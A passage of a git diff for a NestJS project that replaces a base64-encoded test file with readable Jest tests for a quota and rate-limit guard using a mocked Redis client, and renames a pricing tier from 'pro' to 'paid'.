yblZhbHVlKHVuZGVmaW5lZCk7CiAgICBjb25zdCB7IGNvbnRleHQsIHJlc3BvbnNlIH0gPSBjcmVhdGVDb250ZXh0KCk7CgogICAgYXdhaXQgZXhwZWN0KGd1YXJkLmNhbkFjdGl2YXRlKGNvbnRleHQpKS5yZXNvbHZlcy50b0JlKHRydWUpOwogICAgZXhwZWN0KHJlc3BvbnNlLmhlYWRlciku dG9IYXZlQmVlbkNhbGxlZFdpdGgoIlgtUmF0ZUxpbWl0LUxpbWl0IiwgMTAwKTsKICAgIGV4cGVjdChyZXNwb25zZS5oZWFkZXIpLnRvSGF2ZUJlZW5DYWxsZWRXaXRoKCJYLVJhdGVMaW1pdC1SZW1haW5pbmciLCA5OSk7CiAgICBleHBlY3QocmVzcG9uc2UuaGVhZGVyKS50b0hhdmVCZWVuQ2FsbGVkV2l0aCgiWC1SYXRlTGltaXQtVGllciIsICJmcmVlIik7CiAgfSk7CgogIGl0KCJ1c2VzIHRoZSBhdXRoZW50aWNhdGVkIHVzZXIgdGllciB3aGVuIG9uZSBpcyBhdmFpbGFibGUiLCBhc3luYyAoKSA9PiB7CiAgICBjb25zdCBndWFyZCA9IG5ldyBRdW90YUd1YXJkKHJlZmxlY3Rvcik7CiAgICBqZXN0LnNweU9uKHJlZmxlY3RvciwgImdldEFsbEFuZE92ZXJyaWRlIikubW9ja1JldHVyblZhbHVlKHVuZGVmaW5lZCk7CiAgICBjb25zdCB7IGNvbnRleHQsIHJlc3BvbnNlIH0gPSBjcmVhdGVDb250ZXh0KHsKICAgICAgdXNlcjogeyBpZDogInVzZXItMSIsIHJvbGU6ICJhZG1pbiIgfSwKICAgIH0pOwoKICAgIGF3YWl0IGV4cGVjdChndWFyZC5jYW5BY3RpdmF0ZShjb250ZXh0KSkucmVzb2x2ZXMudG9CZSh0cnVlKTsKICAgIGV4cGVjdChyZXNwb25zZS5oZWFkZXIpLnRvSGF2ZUJlZW5DYWxsZWRXaXRoKAogICAgICAiWC1SYXRlTGltaXQtVGllciIsCiAgICAgICJlbnRlcnByaXNlIiwKICAgICk7CiAgfSk7CgogIGl0KCJyZWplY3RzIHJlcXVlc3RzIGFmdGVyIHRoZSBjb25maWd1cmVkIGxpbWl0IGlzIHJlYWNoZWQiLCBhc3luYyAoKSA9PiB7CiAgICBjb25zdCBndWFyZCA9IG5ldyBRdW90YUd1YXJkKHJlZmxlY3Rvcik7CiAgICBqZXN0LnNweU9uKHJlZmxlY3RvciwgImdldEFsbEFuZE92ZXJyaWRlIikubW9ja1JldHVyblZhbHVlKHsKICAgICAgbGV2ZWw6ICJhdXRoIiwKICAgICAgbGltaXQ6IDEsCiAgICAgIHdpbmRvd01zOiA2MF8wMDAsCiAgICB9KTsKCiAgICBjb25zdCB7IGNvbnRleHQgfSA9IGNyZWF0ZUNvbnRleHQoewogICAgICB1c2VyOiB7IGlkOiAidXNlci0yIiwgcm9sZTogInVzZXIiIH0sCiAgICB9KTsKCiAgICBhd2FpdCBleHBlY3QoZ3VhcmQuY2FuQWN0aXZhdGUoY29udGV4dCkpLnJlc29sdmVzLnRvQmUodHJ1ZSk7CgogICAgdHJ5IHsKICAgICAgYXdhaXQgZ3VhcmQuY2FuQWN0aXZhdGUoY29udGV4dCk7CiAgICAgIHRocm93IG5ldyBFcnJvcigiRXhwZWN0ZWQgcmF0ZSBsaW1pdCByZWplY3Rpb24iKTsKICAgIH0gY2F0Y2ggKGVycm9yKSB7CiAgICAgIGV4cGVjdChlcnJvcikudG9CbGVJbnN0YW5jZU9mKEh0dHBFeGNlcHRpb24pOwogICAgICBleHBlY3QoKGVycm9yIGFzIEh0dHBFeGNlcHRpb24pLmdldFN0YXR1cygpKS50b0JlKAogICAgICAgIEh0dHBTdGF0dXMuVE9PX01BTllfUkVRVUVTVFMsCiAgICAgICk7CiAgICB9CiAgfSk7CgogIGl0KCJpbmNyZW1lbnRzIHRoZSBtb250aGx5IFJlZGlzIGNvdW50ZXIgYW5kIGVtaXRzIHF1b3RhIGhlYWRlcnMiLCBhc3luYyAoKSA9PiB7CiAgICBjb25zdCB7IGNsaWVudCwgc3RvcmUsIGV4cGlyZXMgfSA9IGNyZWF0ZVJlZGlzKCk7CiAgICBjb25zdCBndWFyZCA9IG5ldyBRdW90YUd1YXJkKHJlZmxlY3RvciwgY2xpZW50KTsKICAgIGplc3Quc3B5T24ocmVmbGVjdG9yLCAiZ2V0QWxsQW5kT3ZlcnJpZGUiKS5tb2NrUmV0dXJuVmFsdWUodW5kZWZpbmVkKTsKICAgIGNvbnN0IHsgY29udGV4dCwgcmVzcG9uc2UgfSA9IGNyZWF0ZUNvbnRleHQoewogICAgICB1c2VyOiB7IGlkOiAidXNlci0zIiwgYXBpS2V5OiAia2V5LTEiLCB0aWVyOiAiZnJlZSIgfSwKICAgIH0pOwoKICAgIGF3YWl0IGV4cGVjdChndWFyZC5jYW5BY3RpdmF0ZShjb250ZXh0KSkucmVzb2x2ZXMudG9CZSh0cnVlKTsKCiAgICBjb25zdCBtb250aEtleSA9IEFycmF5LmZyb20oc3RvcmUua2V5cygpKVswXTsKICAgIGV4cGVjdChtb250aEtleSkudG9NYXRjaCgvXnF1b3RhOmtleS0xOlxkewR9LVxkewJ9JC8pOwogICAgZXhwZWN0KHN0b3JlLmdldChtb250aEtleSkpLnRvQmUoMSk7CiAgICBleHBlY3QoZXhwaXJlcykudG9IYXZlQmVlbkNhbGxlZCgpOwogICAgZXhwZWN0KHJlc3BvbnNlLmhlYWRlcikudG9IYXZlQmVlbkNhbGxlZFdpdGgoIlgtUXVvdGEtTGltaXQiLCAxMF8wMDApOwogICAgZXhwZWN0KHJlc3BvbnNlLmhlYWRlcikudG9IYXZlQmVlbkNhbGxlZFdpdGgoIlgtUXVvdGEtUmVtYWluaW5nIiwgOV85OTkpOwogIH0pOwoKICBpdCgicmV0dXJucyA0Mjkgd2l0aCBRVU9UQV9FWENFRURFRCB3aGVuIHRoZSBtb250aGx5IHF1b3RhIGlzIGV4aGF1c3RlZCIsIGFzeW5jICgpID0+IHsKICAgIGNvbnN0IHsgY2xpZW50IH0gPSBjcmVhdGVSZWRpcyg5OTk5KTsKICAgIGNvbnN0IGd1YXJkID0gbmV3IFF1b3RhR3VhcmQocmVmbGVjdG9yLCBjbGllbnQpOwogICAgamVzdC5zcHlPbihyZWZsZWN0b3IsICJnZXRBbGxBbmRPdmVycmlkZSIpLm1vY2tSZXR1cm5WYWx1ZSh1bmRlZmluZWQpOwogICAgY29uc3QgeyBjb250ZXh0LCByZXNwb25zZSB9ID0gY3JlYXRlQ29udGV4dCh7CiAgICAgIHVzZXI6IHsgaWQ6ICJ1c2VyLTQiLCBhcGlLZXk6ICJrZXktMiIsIHRpZXI6ICJmcmVlIiB9LAogICAgfSk7CgogICAgdHJ5IHsKICAgICAgYXdhaXQgZ3VhcmQuY2FuQWN0aXZhdGUoY29udGV4dCk7CiAgICAgIHRocm93IG5ldyBFcnJvcigiRXhwZWN0ZWQgcXVvdGEgcmVqZWN0aW9uIik7CiAgICB9IGNhdGNoIChlcnJvcikgewogICAgICBleHBlY3QoZXJyb3IpLnRvQmVsbnN0YW5jZU9mKEh0dHBFeGNlcHRpb24pOwogICAgICBjb25zdCBleGNlcHRpb24gPSBlcnJvciBhcyBIdHRwRXhjZXB0aW9uOwogICAgICBleHBlY3QoZXhjb3B0aW9uLmdldFN0YXR1cygpKS50b0JlKEh0dHBTdGF0dXMuVE9PX01BTllfUkVRVUVTVFMpOwogICAgICBjb25zdCBib2R5ID0gZXhjb3B0aW9uLmdldFJlc3BvbnNlKCkgYXMgeyBjb2RlOiBzdHJpbmc7IHJlc2V0QXQ6IHN0cmluZyB9OwogICAgICBleHBlY3QoYm9keS5jb2RlKS50b0JlKEVycm9yQ29kZS5RVU9UQV9FWENFRURFRCk7CiAgICAgIGV4cGVjdCh0eXBlb2YgYm9keS5yZXNldEF0KS50b0JlKCJzdHJpbmciKTsKICAgIH0KCiAgICBleHBlY3QocmVzcG9uc2UuaGVhZGVyKS50b0hhdmVCZWVuQ2FsbGVkV2l0aCgiWC1RdW90YS1SZW1haW5pbmciLCAwKTsKICB9KTsKCiAgaXQoImRvZXMgbm90IGVuZm9yY2UgbW9udGhseSBxdW90YSBmb3IgZW50ZXJwcmlzZSB0aWVyIiwgYXN5bmMgKCkgPT4gewogICAgY29uc3QgeyBjbGllbnQgfSA9IGNyZWF0ZVJlZGlzKDEwXzAwMF8wMDApOwogICAgY29uc3QgZ3VhcmQgPSBuZXcgUXVvdGFHdWFyZChyZWZsZWN0b3IsIGNsaWVudCk7CiAgICBqZXN0LnNweU9uKHJlZmxlY3RvciwgImdldEFsbEFuZE92ZXJyaWRlIikubW9ja1JldHVyblZhbHVlKHVuZGVmaW5lZCk7CiAgICBjb25zdCB7IGNvbnRleHQsIHJlc3BvbnNlIH0gPSBjcmVhdGVDb250ZXh0KHsKICAgICAgdXNlcjogeyBpZDogInVzZXItNSIsIGFwaUtleTogImtleS0zIiwgdGllcjogImVudGVycHJpc2UiIH0sCiAgICB9KTsKCiAgICBhd2FpdCBleHBlY3QoZ3VhcmQuY2FuQWN0aXZhdGUoY29udGV4dCkpLnJlc29sdmVzLnRvQmUodHJ1ZSk7CiAgICBleHBlY3QocmVzcG9uc2UuaGVhZGVyKS50b0hhdmVCZWVuQ2FsbGVkV2l0aCgiWC1RdW90YS1MaW1pdCIsIC0xKTsKICB9KTsKfSk7Cg== \ No newline at end of file +import { ExecutionContext, HttpException, HttpStatus } from "@nestjs/common"; +import { Reflector } from "@nestjs/core"; +import { QuotaGuard } from "./quota.guard"; + +// The guard builds its own client from REDIS_URL; tests replace the whole +// driver so the monthly counter is deterministic and no server is required. +const mockQuotaStore = new Map(); + +jest.mock("redis", () => ({ + createClient: jest.fn(() => ({ + isOpen: true, + on: jest.fn(), + connect: jest.fn().mockResolvedValue(undefined), + incr: jest.fn(async (key: string) => { + const next = (mockQuotaStore.get(key) ?? 0) + 1; + mockQuotaStore.set(key, next); + return next; + }), + expire: jest.fn().mockResolvedValue(true), + })), +})); + +function createContext(options?: { + user?: { + id?: string; + sub?: string; + address?: string; + role?: string; + tier?: string; + type?: string; + }; + ip?: string; + originalUrl?: string; + headers?: Record; +}): { + context: ExecutionContext; + response: { header: jest.Mock; setHeader: jest.Mock }; +} { + const request = { + ip: options?.ip ?? "127.0.0.1", + headers: options?.headers ?? {}, + originalUrl: options?.originalUrl ?? "/api/test", + route: { path: "/api/test" }, + authType: options?.user?.type, + user: options?.user, + }; + + const response = { + header: jest.fn(), + setHeader: jest.fn(), + }; + + const context = { + getHandler: jest.fn(), + getClass: jest.fn(), + switchToHttp: () => ({ + getRequest: () => request, + getResponse: () => response, + }), + } as unknown as ExecutionContext; + + return { context, response }; +} + +describe("QuotaGuard", () => { + let guard: QuotaGuard; + let reflector: Reflector; + + beforeEach(() => { + reflector = new Reflector(); + guard = new QuotaGuard(reflector); + }); + + it("allows requests and emits rate-limit headers for the default tier", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + const { context, response } = createContext(); + + await expect(guard.canActivate(context)).resolves.toBe(true); + expect(response.header).toHaveBeenCalledWith("X-RateLimit-Limit", 100); + expect(response.header).toHaveBeenCalledWith("X-RateLimit-Remaining", 99); + expect(response.header).toHaveBeenCalledWith("X-RateLimit-Tier", "free"); + }); + + it("uses the authenticated user tier when one is available", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + const { context, response } = createContext({ + user: { id: "user-1", role: "admin" }, + }); + + await expect(guard.canActivate(context)).resolves.toBe(true); + expect(response.header).toHaveBeenCalledWith( + "X-RateLimit-Tier", + "enterprise", + ); + }); + + it("rejects requests after the configured limit is reached", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue({ + level: "auth", + limit: 1, + windowMs: 60_000, + }); + + const { context } = createContext({ + user: { id: "user-2", role: "user" }, + }); + + await expect(guard.canActivate(context)).resolves.toBe(true); + + try { + await guard.canActivate(context); + throw new Error("Expected rate limit rejection"); + } catch (error) { + expect(error).toBeInstanceOf(HttpException); + expect((error as HttpException).getStatus()).toBe( + HttpStatus.TOO_MANY_REQUESTS, + ); + } + }); + + describe("monthly API quota (redis-backed)", () => { + const previousRedisUrl = process.env.REDIS_URL; + + function currentMonthKey(): string { + const now = new Date(); + return `${now.getUTCFullYear()}-${String(now.getUTCMonth() + 1).padStart(2, "0")}`; + } + + beforeEach(() => { + // Must be set before the guard is constructed: the client promise is + // resolved once and cached per instance. + process.env.REDIS_URL = "redis://localhost:6379"; + mockQuotaStore.clear(); + guard = new QuotaGuard(reflector); + }); + + afterEach(() => { + if (previousRedisUrl === undefined) { + delete process.env.REDIS_URL; + } else { + process.env.REDIS_URL = previousRedisUrl; + } + }); + + it("increments the per-key monthly counter once per request", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + const { context } = createContext({ + user: { id: "user-7", tier: "free" }, + headers: { "x-api-key": "key-counter" }, + }); + + await expect(guard.canActivate(context)).resolves.toBe(true); + await expect(guard.canActivate(context)).resolves.toBe(true); + + expect( + mockQuotaStore.get(`quota:key-counter:${currentMonthKey()}`), + ).toBe(2); + }); + + it("emits the paid-tier monthly limit, not the free-tier fallback", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + const { context, response } = createContext({ + user: { id: "user-8", tier: "paid" }, + headers: { "x-api-key": "key-paid" }, + }); + + await expect(guard.canActivate(context)).resolves.toBe(true); + + expect(response.header).toHaveBeenCalledWith("X-Quota-Limit", 1_000_000); + expect(response.header).toHaveBeenCalledWith( + "X-Quota-Remaining", + 999_999, + ); + }); + + it("returns 429 with QUOTA_EXCEEDED when the free quota is exhausted", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + mockQuotaStore.set(`quota:key-done:${currentMonthKey()}`, 10_000); + + const { context } = createContext({ + user: { id: "user-9", tier: "free" }, + headers: { "x-api-key": "key-done" }, + }); + + try { + await guard.canActivate(context); + throw new Error("Expected monthly quota rejection"); + } catch (error) { + expect(error).toBeInstanceOf(HttpException); + expect((error as HttpException).getStatus()).toBe( + HttpStatus.TOO_MANY_REQUESTS, + ); + const body = (error as HttpException).getResponse() as { + code?: string; + }; + expect(body.code).toBe("QUOTA_EXCEEDED"); + } + }); + + it("reports enterprise usage as unlimited without touching redis", async () => { + jest.spyOn(reflector, "getAllAndOverride").mockReturnValue(undefined); + const { context, response } = createContext({ + user: { id: "user-10", role: "admin" }, + headers: { "x-api-key": "key-ent" }, + }); + + await expect(guard.canActivate(context)).resolves.toBe(true); + + expect(response.header).toHaveBeenCalledWith( + "X-Quota-Remaining", + "unlimited", + ); + expect(mockQuotaStore.size).toBe(0); + }); + }); +}); diff --git a/src/common/guard/quota.guard.ts b/src/common/guard/quota.guard.ts index b061e846..eb19a2a9 100644 --- a/src/common/guard/quota.guard.ts +++ b/src/common/guard/quota.guard.ts @@ -21,7 +21,7 @@ import { const MONTHLY_QUOTA_LIMITS: Record = { free: 10_000, - pro: 1_000_000, + paid: 1_000_000, enterprise: Number.POSITIVE_INFINITY, }; diff --git a/src/storage-compatibility/storage-schema-compatibility.ts b/src/storage-compatibility/storage-schema-compatibility.ts index 7e6b249d..07d70670 100644 --- a/src/storage-compatibility/storage-schema-compatibility.ts +++ b/src/storage-compatibility/storage-schema-compatibility.ts @@ -101,7 +101,7 @@ function migrationFileVersion(fileName: string): MigrationVersion | null { /** * Discover the same migration locations configured by src/config/typeorm.config.ts: - * src/migrations/* and any nested **/migration/* directory. + * src/migrations/* and any nested **\/migration/* directory. * * Only timestamp-prefixed migration source/build files are considered. The * timestamp is TypeORM's durable migration identity and is also what is stored